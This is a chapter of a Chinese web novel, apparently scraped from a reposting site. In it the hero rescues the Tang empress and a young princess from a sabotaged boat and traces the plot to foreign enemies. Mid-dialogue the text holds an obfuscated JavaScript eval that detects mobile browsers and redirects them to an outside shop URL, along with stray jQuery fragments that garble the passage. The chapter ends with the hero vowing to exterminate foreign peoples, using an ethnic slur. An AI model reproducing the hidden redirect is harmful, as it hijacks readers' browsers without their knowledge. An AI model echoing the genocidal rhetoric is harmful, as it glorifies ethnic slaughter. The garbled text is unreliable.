第57章 为华夏,屠尽胡杂

作品:《大唐:洞房夜给高阳放血李二懵了

    魏叔玉移开视线:“娘娘,先送您上船。”


    “不...等一下…...”


    长孙皇后身子微微颤抖,“让我缓一缓...腿还抽着筋...”


    魏叔玉只得抱着她浮在水中,一手轻轻按摩她的小腿。


    指尖触到光滑细腻的肌肤,隔着薄薄的罗袜,能感受到她在微微颤抖。


    “好些了吗?”


    “嗯...”


    长孙皇后抬起头,湿漉漉的眸子望着他。水珠顺着她的脸颊滑落,滴在下巴上,欲落不落。


    苍白的俏脸中透着异样的嫣红,美得惊心动魄。


    魏叔玉喉咙发干:“我送您上船。”


    这一次,长孙皇后没有拒绝。魏叔玉将她托上兰舟,自己也翻身上去。


    白樱已经带着小兕子上了岸,兰舟上只剩他们两人。


    秋风吹过,长孙皇后打了个寒颤。湿透的宫装紧紧贴在身上,将丰腴的身材勾勒得淋漓尽致。


    胸前的起伏,腰间的曲线,甚至连肚兜的纹饰都隐约可见。


    魏叔玉连忙找条毛毯,披在她身上。


    “谢谢玉儿...”


    长孙皇后拢了拢毛毯,反而将领口挤开一些,露出幽深而诱人的沟壑。


    她抬头望着魏叔玉,眸子里氤氲着水汽。


    “兕子呢?兕子怎么样?”


    “母后放心,小兕子肯定没事!”


    兰州刚靠岸,绿萝抱着裹成粽子的小兕子过来。


    小家伙已经吐完水,小脸虽然还有些白,眼睛却已经恢复神采。


    “母后...锅锅...明达怕...”


    魏叔玉蹲下来,摸摸她的头。


    “不怕,锅锅在。”


    他站起身,眼神陡然变得锐利。


    “白樱,怎么回事?”


    白樱单膝跪下,“驸马,妾身已经派人查过,兰舟被人动了手脚。侧板被人松上一块,靠上去就会翻。”


    魏叔玉的眼睛眯起来。


    “人呢?”


    “还在调查。以不良人的耳目,相信很快就有结果。”


    魏叔玉点点头。


    “很好。”


    他转向长孙皇后,语气放缓。


    “母后,我带您和兕子先去更衣。剩下的事,交给我。”


    长孙皇后看着他,一双美眸里满是柔情。


    混小子平时嘻嘻哈哈,真遇上事情,让人感到格外安心。


    不愧是大唐最年轻的御史大夫,是让各国使臣闻风丧胆的魏驸马,是谈笑间就能灭掉一个王国的狠人。


    “好。”


    她轻声说。


    魏叔玉转身,对赶过来的护卫统领吩咐。


    “传令下去,曲江苑所有人等,一律不得离开。逐一盘查,凡有可疑者,直接拿下。”


    “喏!”


    “另外——”


    魏叔玉顿了顿,嘴角勾起一抹冷笑。


    “放出消息,就说晋阳公主落水受惊,高热不退,魏驸马震怒,悬赏万金缉拿凶徒。”


    护卫统领一愣。


    “驸马,晋阳公主明明——”


    “照做。”


    魏叔玉打断他。


    护卫统领不敢再问,抱拳离去。


    长孙皇后看着他,眼中闪过复杂的神色。


    “玉儿想...引蛇出洞?”


    魏叔玉微微一笑,笑容里却没什么温度。


    “母后聪慧。有人既然敢动手,就得做好被连根拔起的准备。”


    ……


    曲江苑的静心阁内,炭火烧得正旺。


    长孙皇后换上一身干爽的素色襦裙,青丝披散在肩头,正用帕子擦拭着。


    小兕子裹着厚厚的毯子,靠在魏叔玉怀里,小脸已经恢复红润。


    魏小婉与魏嫣两人,陪着小兕子说话。


    “锅锅...明达不是故意的...”


    魏叔玉点点她的小鼻子,“知道。是坏人在船上动了手脚,不怪兕子。”


    “那锅锅把坏人抓起来,打他板子!”


    “好,抓起来,打板子。”魏叔玉笑着应承。


    “玉儿,让绿萝带她们仨去吃些东西吧!”


    魏叔玉愣了下,长孙皇后为何要支开她们仨?


    等三小只离开,长孙皇后朝他招招手,“过来,帮本宫擦拭下头发!”


    魏叔玉接过棉帕,细心帮她擦拭起来。没有后世的化工制品,古人的毛发都格外茂盛。


    长孙皇后一头乌黑的青丝,散发出一股馥郁的香味。


    “玉儿,母后有些怕,担心……”


    魏叔玉叹口气,他明白长孙皇后心里的担忧。


    “放心吧母后,应该是异族余孽。”


    话音刚落,窗外出现白樱的身影。


    魏叔玉宽慰她几句,转身走出阁楼。


    “查到了?”


    白樱点头。


    “是。动手的人叫赵六,是曲江苑的杂役。三天前有人给他五十两银子,让他松动那艘兰舟的侧板。”


    “人呢?”


    “死了。”


    魏叔玉挑眉。


    “死了?”


    “是。刚才不良人找到他时,他已经吊死在住处。现场留有遗书,说他赌钱输了偷东西还债,怕被发现才畏罪自杀。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346868|167324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    白樱顿了顿,压低声音。


    “但奴婢查过,他没有赌钱的习惯。而且他一个杂役,根本不知道咱们今天会来曲江苑。”


    魏叔玉点点头,脸上没什么表情。


    “继续查。他最近见过什么人,吃过什么东西,跟谁说过话,全都查清楚。”


    “喏。”


    白樱正要离开,魏叔玉忽然叫住她。


    “查查最近有哪些藩属国使团的人,跟曲江苑的人接触过。”


    白樱一愣。


    “驸马怀疑是——”


    魏叔玉冷笑。


    “小兕子落水,表面上是冲着我来的。但只要她出事,陛下和皇后会如何?”


    白樱倒吸一口凉气。


    “陛下和皇后悲痛之下,必然迁怒...迁怒于您?”


    “没错。就算陛下理智尚存,朝中大臣呢?他们肯定会利用此事,将御史大夫的官职弹劾下去。


    如此一来……”


    魏叔玉转过身,看着阁楼里昏昏欲睡的长孙皇后,眼神柔和下来。


    “这一招,叫釜底抽薪。杀不了我,就让我众叛亲离,失去陛下和皇后的信任。”


    白樱咬牙。


    “好毒的心思!”


    “毒?这才哪到哪。”


    魏叔玉摆摆手。


    “去查吧。记住,不要打草惊蛇。”


    白樱领命而去。


    魏叔玉站在窗前,看着曲江苑的湖光山色,眼中寒芒闪烁。


    八年了。


    八年来,他通过东宫下达封锁令,让捕奴营在吐蕃持续捕奴,一步步削弱高原上的强国。


    八年布局,一朝功成。


    吐蕃灭了,裴行俭三千精骑横扫山南,六千大军攻克逻些城。


    斩敌十万。


    何等风光。


    可魏叔玉差点忘记,那些被他踩在脚下的,不只是吐蕃。


    波斯、突厥余孽、吐谷浑余孽、高句丽余孽、百济余孽...


    奚、契丹、室韦、白胡、南诏...


    哪一个不是对他恨之入骨?


    哪一个不想将他碎尸万段?


    可现在他们把主意,打到他身边人身上。


    小兕子。


    她才八岁。


    一个八岁的孩子,他们也不放过。


    魏叔玉的手,慢慢攥紧。


    “很好。”


    他轻声说。


    “既然你们想玩,那就玩大一点。本驸马正愁胡杂杀得不够多,你们却将刀子递过来。”


    魏叔玉眼中杀机一闪而逝:“为后世华夏,那就将你们屠尽了吧!”